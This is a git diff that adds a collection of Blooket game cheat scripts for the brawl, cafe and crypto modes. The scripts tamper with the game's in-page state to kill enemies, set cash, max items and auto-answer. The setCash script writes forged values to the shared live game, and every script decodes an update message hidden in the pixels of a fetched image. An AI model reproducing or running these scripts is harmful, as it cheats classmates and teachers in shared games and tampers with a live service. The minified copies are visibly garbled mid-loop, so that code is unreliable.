+Sets all enemies health to 1 +## [Invincibility](invincibility.js) +Makes you invincible +## [Kill Enemies](killEnemies.js) +Kills all currennt enemies +## [Magnet](magnet.js) +Pulls all xp towards you +## [Max Current Abilities](maxCurrentAbilities.js) +Maxes out all your current abilities +## [Next Level](nextLevel.js) +Gives you another level +## [Remove Obstacles](removeObstacles.js) +Removes all rocks and obstacles +## [Reset Health](resetHealth.js) +Resets health and gives invincibility for 3 seconds \ No newline at end of file diff --git a/cheats/brawl/removeObstacles.js b/cheats/brawl/removeObstacles.js new file mode 100644 index 0000000..0098fa2 --- /dev/null +++ b/cheats/brawl/removeObstacles.js @@ -0,0 +1,38 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(body => { try { if (body.gameObject.frame.texture.key.includes("obstacle")) body.gameObject.destroy(); } catch { } }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/removeObstacles.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271710 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/brawl/removeObstacles.min.js b/cheats/brawl/removeObstacles.min.js new file mode 100644 index 0000000..d654f0b --- /dev/null +++ b/cheats/brawl/removeObstacles.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tremoveObstacles.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(e=>{try{e.gameObject.frame.texture.key.includes("obstacle")&&e.gameObject.destroy()}catch{}})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/removeObstacles.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/brawl/resetHealth.js b/cheats/brawl/resetHealth.js new file mode 100644 index 0000000..7ed668e --- /dev/null +++ b/cheats/brawl/resetHealth.js @@ -0,0 +1,38 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.game.events._events.respawn.fn(); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/resetHealth.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271714 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/brawl/resetHealth.min.js b/cheats/brawl/resetHealth.min.js new file mode 100644 index 0000000..2b8661f --- /dev/null +++ b/cheats/brawl/resetHealth.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tresetHealth.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.game.events._events.respawn.fn()};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/resetHealth.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/cafe/maxItems.js b/cheats/cafe/maxItems.js new file mode 100644 index 0000000..913434f --- /dev/null +++ b/cheats/cafe/maxItems.js @@ -0,0 +1,46 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname !== "/cafe/shop") alert("This can only be run in the shop"); + else { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ items: Object.fromEntries(Object.entries(stateNode.state.items).map(x => [x[0], 5])) }); + } + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/cafe/maxItems.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271720 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/cafe/maxItems.min.js b/cheats/cafe/maxItems.min.js new file mode 100644 index 0000000..fd80a8f --- /dev/null +++ b/cheats/cafe/maxItems.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tmaxItems.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/cafe/shop"!==window.location.pathname?alert("This can only be run in the shop"):(e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],e.setState({items:Object.fromEntries(Object.entries(e.state.items).map(e=>[e[0],5]))}))};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/cafe/maxItems.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/cafe/readme.md b/cheats/cafe/readme.md new file mode 100644 index 0000000..6791237 --- /dev/null +++ b/cheats/cafe/readme.md @@ -0,0 +1,19 @@ +# Cafe Cheats + +## [Max Items](maxItems.js) +Maxes out items in the shop[^1] + +## [Remove Customers](removeCustomers.js) +Skips the current customers[^2] + +## [Reset Abilities](resetAbilities.js) +Resets the used abilities in the shop[^1] + +## [Set Cash](setCash.js) +Sets cafe cash + +## [Stock Food](stockFood.js) +Stocks all food to 99[^2] + +[^1]: Only usable in the shop +[^2]: Not usable in the shop \ No newline at end of file diff --git a/cheats/cafe/removeCustomers.js b/cheats/cafe/removeCustomers.js new file mode 100644 index 0000000..655bcc4 --- /dev/null +++ b/cheats/cafe/removeCustomers.js @@ -0,0 +1,39 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.state.customers.forEach((customer, i) => Object.keys(customer).length && stateNode.removeCustomer(i, true)); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/cafe/removeCustomers.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271728 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/cafe/removeCustomers.min.js b/cheats/cafe/removeCustomers.min.js new file mode 100644 index 0000000..a3b2065 --- /dev/null +++ b/cheats/cafe/removeCustomers.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let a=document.querySelector("iframe");a.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),a.contentWindow.console.log.call(window,"%c\tremoveCustomers.js","color: #0bc2cf; font-size: 1rem"),a.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{const o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];o.state.customers.forEach((e,t)=>Object.keys(e).length&&o.removeCustomer(t,!0))};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/cafe/removeCustomers.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/cafe/resetAbilities.js b/cheats/cafe/resetAbilities.js new file mode 100644 index 0000000..0ae559c --- /dev/null +++ b/cheats/cafe/resetAbilities.js @@ -0,0 +1,46 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname !== "/cafe/shop") alert("This can only be run in the shop"); + else { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ abilities: Object.fromEntries(Object.entries(stateNode.state.abilities).map(x => [x[0], 5])) }); + } + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/cafe/resetAbilities.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271733 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/cafe/resetAbilities.min.js b/cheats/cafe/resetAbilities.min.js new file mode 100644 index 0000000..504bc66 --- /dev/null +++ b/cheats/cafe/resetAbilities.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tresetAbilities.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const c=async()=>{var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/cafe/shop"!==window.location.pathname?alert("This can only be run in the shop"):(e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],e.setState({abilities:Object.fromEntries(Object.entries(e.state.abilities).map(e=>[e[0],5]))}))};let s=new Image;s.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/cafe/resetAbilities.png?"+Date.now(),s.crossOrigin="Anonymous",s.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(s,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(s.src=null,c())})(); \ No newline at end of file diff --git a/cheats/cafe/setCash.js b/cheats/cafe/setCash.js new file mode 100644 index 0000000..e688e00 --- /dev/null +++ b/cheats/cafe/setCash.js @@ -0,0 +1,51 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let cafeCash = Number(parseInt(prompt("How much cash would you like?"))); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ cafeCash }); + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + ca: cafeCash + } + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/cafe/setCash.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271741 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/cafe/setCash.min.js b/cheats/cafe/setCash.min.js new file mode 100644 index 0000000..e4ef2ff --- /dev/null +++ b/cheats/cafe/setCash.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tsetCash.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Number(parseInt(prompt("How much cash would you like?")))),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({cafeCash:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,ca:e}})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/cafe/setCash.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/cafe/stockFood.js b/cheats/cafe/stockFood.js new file mode 100644 index 0000000..8a70976 --- /dev/null +++ b/cheats/cafe/stockFood.js @@ -0,0 +1,46 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname !== "/cafe") alert("This can't be run in the shop"); + else { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ foods: stateNode.state.foods.map(e => ({ ...e, stock: 99, level: 5 })) }); + } + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/cafe/stockFood.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271748 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/cafe/stockFood.min.js b/cheats/cafe/stockFood.min.js new file mode 100644 index 0000000..1668826 --- /dev/null +++ b/cheats/cafe/stockFood.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tstockFood.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var t=document.createElement("iframe");document.body.append(t),window.alert=t.contentWindow.alert.bind(window),t.remove(),"/cafe"!==window.location.pathname?alert("This can't be run in the shop"):(t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],t.setState({foods:t.state.foods.map(t=>({...t,stock:99,level:5}))}))};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/cafe/stockFood.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(i,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/crypto/alwaysTriple.js b/cheats/crypto/alwaysTriple.js new file mode 100644 index 0000000..d30f0de --- /dev/null +++ b/cheats/crypto/alwaysTriple.js @@ -0,0 +1,38 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + setInterval(() => Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ choices: [{ type: "mult", val: 3, rate: .075, blook: "Brainy Bot", text: "Triple Crypto" }] }), 25); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/crypto/alwaysTriple.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271754 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/crypto/alwaysTriple.min.js b/cheats/crypto/alwaysTriple.min.js new file mode 100644 index 0000000..900b1e8 --- /dev/null +++ b/cheats/crypto/alwaysTriple.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\talwaysTriple.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const l=async()=>{setInterval(()=>Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({choices:[{type:"mult",val:3,rate:.075,blook:"Brainy Bot",text:"Triple Crypto"}]}),25)};let s=new Image;s.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/crypto/alwaysTriple.png?"+Date.now(),s.crossOrigin="Anonymous",s.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(s,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(s.src=null,l())})(); \ No newline at end of file diff --git a/cheats/crypto/autoGuess.js b/cheats/crypto/autoGuess.js new file mode 100644 index 0000000..5be32eb --- /dev/null +++ b/cheats/crypto/autoGuess.js @@ -0,0 +1,39 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { state } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode; + if (state.stage == "hack") for (const button of document.querySelector('div[class^=styles__buttonContainer]').children) button.innerText == state.correctPassword && button.click(); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/crypto/autoGuess.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271764 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/crypto/autoGuess.min.js b/cheats/crypto/autoGuess.min.js new file mode 100644 index 0000000..b59a5fb --- /dev/null +++ b/cheats/crypto/autoGuess.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 